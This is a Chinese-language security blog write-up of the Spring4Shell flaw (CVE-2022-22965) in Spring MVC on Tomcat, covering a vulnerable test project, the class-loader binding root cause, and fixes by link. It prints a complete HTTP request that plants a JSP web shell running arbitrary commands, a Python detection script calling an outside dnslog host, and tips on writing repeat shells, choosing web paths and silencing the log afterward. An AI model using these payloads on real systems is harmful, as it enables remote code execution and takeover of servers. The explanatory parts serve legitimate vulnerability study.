攻击者构造了恶意的SpringMVC参数绑定对象数据包,导致系统变量覆盖,获取AccessLogValve 对象并注入恶意字段值触发 pipeline 写入shell文件。
影响范围:
spring-beans版本5.3.0 ~ 5.3.17、5.2.0 ~ 5.2.19
JDK 9+
Apache Tomcat
传参时使用参数绑定
idea中创建SpringMVC项目
勾选Spring Web依赖
添加SpringMVC框架
配置 web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>springMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!--如果不配置contextConfigLocation,默认加载的是/WEB-INF/servlet名称-serlvet.xml(springmvc-servlet.xml-->
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/springMVC.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springMVC</servlet-name>
<!-- 所有请求将被拦截,包括静态文件,所以需要放行 -->
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
配置 springMVC.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
<bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" />
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/>
<context:component-scan base-package="com.example.spring4shell.controller"/>
</beans>
pom.xml
引入漏洞组件,并指定到受影响版本 spring-beans:5.3.17 >= version
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.17</version>
</dependency>
代码如下(参数绑定功能)
package com.example.spring4shell.controller;
import com.example.spring4shell.modle.Person;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class RunController {
@RequestMapping("/run")
public String Run(Person per){
return per.getName();
}
}
package com.example.spring4shell.modle;
public class Person{
private String name;
private int age;
public int getAge(){
return age;
}
public String getName(){
return name;
}
public void setAge(int age){
this.age = age;
}
public void setName(String name){
this.name = name;
}
}
配置 tomcat
以该方式启动
接口成功被调起运行
数据包如下,请求该接口,生成 shell.jsp
小马
POST /run HTTP/1.1
Host: 172.20.12.110:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
suffix: %>
prefix: <%
Content-Length: 676
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=./webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
访问小马地址,执行命令成功
JavaBean是一种规范,JavaBean属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
如下,JavaBean会认为你有4个成员变量id
name
pass
class
public class Test {
private String id;
private String name;public String getPass() {
return null;
}public String getId() {
return id;
}public void setId(String id) {
this.id = id;
}public String getName() {
return name;
}public void setName(String name) {
this.name = name;
}
}
在Java中所有的对象都会默认继承Object基础类;如未赋值 stopClass
会使得访问该类的同时访问到Object.class,所以会找到 class
属性。
BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)
springMVC传进参数进行数据绑定的时候存在变量覆盖问题,当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。CVE-2010-1622之前的补丁,class.classLoader危险函数过滤掉了,Java9可以用class.module.classLoader调用,恰好绕过。
利用Tomcat的AccessLogValue,写日志方式getshell https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}i小马代码%25{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=./
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
BeanWrapperImpl#getLocalPropertyHandler处下断点,循环读取出key值
AbstractNestablePropertyAccessor#processLocalProperty,获取value值
BeanWrapperImpl#setValue,将value写入日志
公众号回复 spring4shell
获取poc下载地址
python3 CVE-2022-22965.py http://127.0.0.1:8080/接口地址 dnslog.com
context中configFile属性可发出http请求,可通过dnslog断漏洞是否存在
import requests
import sys
head = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '263',
}
def exec():
data = 'class.module.classLoader.resources.context.configFile=http://' + log + '&class.module.classLoader.resources.context.configFile.content.config=config.conf'
try:
requests.packages.urllib3.disable_warnings()
urls = requests.post(url,headers=head,data=data,verify=False)
if urls.status_code == 200:
print("ok")
except requests.exceptions.ConnectionError as e:
print(e)
if __name__ == '__main__':
try:
url = sys.argv[1]
log = sys.argv[2]
exec()
except Exception:
print("CVE-2022-22965.py http://127.0.0.1:8080/接口地址 dnslog.com")
1. springboot为什么不受影响?
springboot里的classloader叫appclassloader,虽然能变量覆盖,但没有利用链。
2. 如何突破只能写一次日志文件的限制?
在复现时发现每次启动项目只能写一次文件,解决这个问题方法可以修改fileDateFormat期日参数,可修改任意字符XXX,最后保存的文件名为shellXXX.jsp。
3. 如何找到路径写webshell
./webapps/系统项目名/ 写入当前项目中。
./webapps/ROOT/ tomcat默认web目录。
./webapps/xxx/ 如上传目录不存在,则会创建新目录,通过/xxx/shell.jsp访问
4. 写入shell后会不断有日志写入
使用关闭写入日志payload
class.module.classLoader.resources.context.parent.pipeline.first.enabled=false
修复方案:https://mp.weixin.qq.com/s/P-NEJzUUjIyemkSe_RbicQ
公众号回复 spring4shell
获取poc下载地址
本文作者:baothe
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/176618.html